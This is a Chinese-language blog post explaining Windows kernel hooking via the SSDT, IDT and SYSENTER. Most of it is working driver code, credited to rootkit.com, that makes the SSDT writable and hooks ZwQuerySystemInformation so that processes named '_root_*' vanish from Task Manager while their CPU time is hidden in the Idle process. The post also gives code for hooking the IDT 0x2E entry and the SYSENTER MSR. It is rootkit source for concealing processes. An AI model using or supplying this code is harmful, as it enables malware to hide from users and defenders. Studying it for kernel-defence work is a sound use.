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SSDT-hook,IDT-hook原理

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战神伽罗
发布2019-07-24 15:14:42
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发布2019-07-24 15:14:42
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【详细过程】 这次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层需要驱动,有这方面的基础最好,如果不会,了解下其中的思路也可以的。 II. SSDT-hook,IDT-hook,sysenter-hook 一.SSDT-hook (一)一般思路: 1.先来了解一下,什么是SSDT SSDT既System Service Dispath Table。在了解他之前,我们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。

用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再如下图

从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图: SSDT.jpg SSDT.JPG KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是 typedef struct ServiceDescriptorTable { PVOID ServiceTableBase; PVOID ServiceCounterTable(0); unsigned int NumberOfServices; PVOID ParamTableBase; } 其中, ServiceTableBase System Service Dispatch Table 的基地址。 NumberOfServices 由 ServiceTableBase 描述的服务的数目。 ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。 ParamTableBase 包含每个系统服务参数字节数表的基地址。 System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4子节长。 System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。 还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图:

右侧的服务分发就通过KeServiceDescriptorTableShadow。 那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。 2.Hook前的准备-改变SSDT内存的保护 系统对SSDT都是只读的,不能写。如果试图去写,等你的就是蓝脸。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。 (1)改变CR0寄存器的第1位 Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图: CR0.jpg cr0.jpg 其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。 (2)通过Memory Descriptor List(MDL) 也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构: typedef struct _MDL { struct _MDL *Next; CSHORT Size; CSHORT MdlFlags; //关键在这里,将来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写 struct _EPROCESS *Process; PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; ULONG ByteOffset; } MDL, *PMDL; 首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成 MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下: //先声明一个System Service Descriptor Table,我们知道SSDT及SSPT都从这个表中指向 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } SSDT_Entry; #pragma pack() __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable; / PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; // 代码 // 保存原系统调用位置 // 映射我们的区域 g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的flags g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; //在内存中索定,不让换出 MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); 现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢? 3.四个有用的宏 SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中 SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。 这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。 HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。 这四个宏具体是: #define SYSTEMSERVICE(_func) / KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)] #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) / _Orig = (PVOID) InterlockedExchange( (PLONG) / &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) / InterlockedExchange((PLONG) / &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook) 4.小试牛刀:利用SSDT Hook隐藏进程 我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是: NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, //如果这值是5,则代表系统中所有进程信息 IN PVOID SystemInformation, //这就是最终列举出的信息,和上面的值有关 IN ULONG SystemInformationLength, //后两个不重要 OUT PULONG ReturnLength) 如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下: (1) 突破SSDT的内存保护,如上所用的MDL方法 (2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程 (3) 用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数 (4) 卸载New*函数,完成 具体实例:来自Rootkit.com,我做了注释,代码也很精小。 #include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //仅适用于checked build版本 unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //获得SSDT基址宏 #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; //获得函数在SSDT中的索引宏 #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) //调换自己的hook函数与原系统函数的地址 #define HOOK_SYSCALL(_Function, _Hook, _Orig ) / _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //卸载hook函数 #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) / InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//声明各种结构 struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; };

struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; };

// Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; };

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;

// Added by Creative of rootkit.com LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime;

//我们的hook函数,过滤掉以"_root_"开头的进程 NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) {

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );

if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // 列举系统进程链表 // 寻找以"_root_"开头的进程 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x/n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // Idle process入口 { // 把_root_进程的时间加给Idle进程,Idle称空闲时间 curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// 重设时间,为下一次过滤 m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (SystemInformationClass == 8) // 列举系统进程时间 { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; }

} return ntStatus; }

VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called/n");

// 卸载hook UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

// 解索并释放MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } }

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { // 注册一个卸载的分发函数,与与应用层沟通 theDriverObject->DriverUnload = OnUnload;

// 初始化全局时间为零 // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100% m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

// 储存旧的函数地址 OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

// 把SSDT隐射到我们的区域,以便修改它为可写属性 g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// 改变MDL的Flags属性为可写,既然可写当然可读,可执行 g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

// 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); return STATUS_SUCCESS; } 二.IDT hook (一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。 (二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题: 1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下: typedef struct { WORD IDTLimit; WORD LowIDTbase; //IDT的低半地址 WORD HiIDTbase; //IDT的高半地址 } IDTINFO; 方便获取地址存取的宏 #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16)) 2.IDT有最多256个入口,我们现在要的是其中的0x2E,这个中断号的入口地址如何获取呢? #pragma pack(1) typedef struct { WORD LowOffset; //入口的低半地址 WORD selector; BYTE unused_lo; unsigned char unused_hi:5; // stored TYPE ? unsigned char DPL:2; unsigned char P:1; // vector is present WORD HiOffset; //入口地址的低半地址 } IDTENTRY; #pragma pack() 知道了这个入口结构,就相当于知道了每间房(可以把IDT看作是一排有256间房组成的线性结构)的长度,我们先获取所有的入口idt_entrys,那么第0x2E个房间的地址也就可以确定了,即idt_entrys[0x2E]。 3.如果得到了0x2e的地址,如何用我们的hook地址改写原中断地址呢? 见以下核心代码: DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook #define NT_SYSTEM_SERVICE_INT 0x2e //我们的hook函数 int HookInterrupts() { IDTINFO idt_info; //SIDT将返回的结构 IDTENTRY* idt_entries; //IDT的所有入口 IDTENTRY* int2e_entry; //我们目标的入口 __asm{ sidt idt_info; //获取IDTINFO } //获取所有的入口 idt_entries = (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); //保存真实的2e地址 KiRealSystemServiceISR_Ptr = MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset, idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset); //获取0x2E的入口地址 int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]); __asm{ cli; // 屏蔽中断,防止被打扰 lea eax,MyKiSystemService; // 获得我们hook函数的地址,保存在eax mov ebx, int2e_entry; // 0x2E在IDT中的地址,ebx中分地高两个半地址 mov [ebx],ax; // 把我们hook函数的地半地址写入真是第半地址 shr eax,16 //eax右移16,得到高半地址 mov [ebx+6],ax; // 写入高半地址 sti; //开中断 } return 0; } 具体代码见:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip (三)注意点: 1.每个处理器都有个IDT,所以对于多CPU一定要注意,所有的IDT都要hook。 2.在winxp,win2k3,vsta下失效。 三.SYSENTRY hook 为了性能的考虑,xp后的系统都改用sysentry命令来进入ring0,去调用SSDT中的服务,不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。 首先获得sysentry的地址,然后改之,不用再考虑IDT了。见下面的代码: #include "ntddk.h" ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("ROOTKIT: OnUnload called/n"); } // Hook function __declspec(naked) MyKiFastCallEntry() { __asm { jmp [d_origKiFastCallEntry] //这啥都没做,换成你想干的 } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { theDriverObject->DriverUnload = OnUnload; __asm { mov ecx, 0x176 rdmsr // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址 mov d_origKiFastCallEntry, eax //保存原值,以便恢复 mov eax, MyKiFastCallEntry // hook函数地址 wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器 } return STATUS_SUCCESS; } 基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。 by LvG(吕歌) 参考文献:<<Rootkits: Subverting the Windows Kernel >> rootkit.com <<widows internels>> <<Undocumented NT>>

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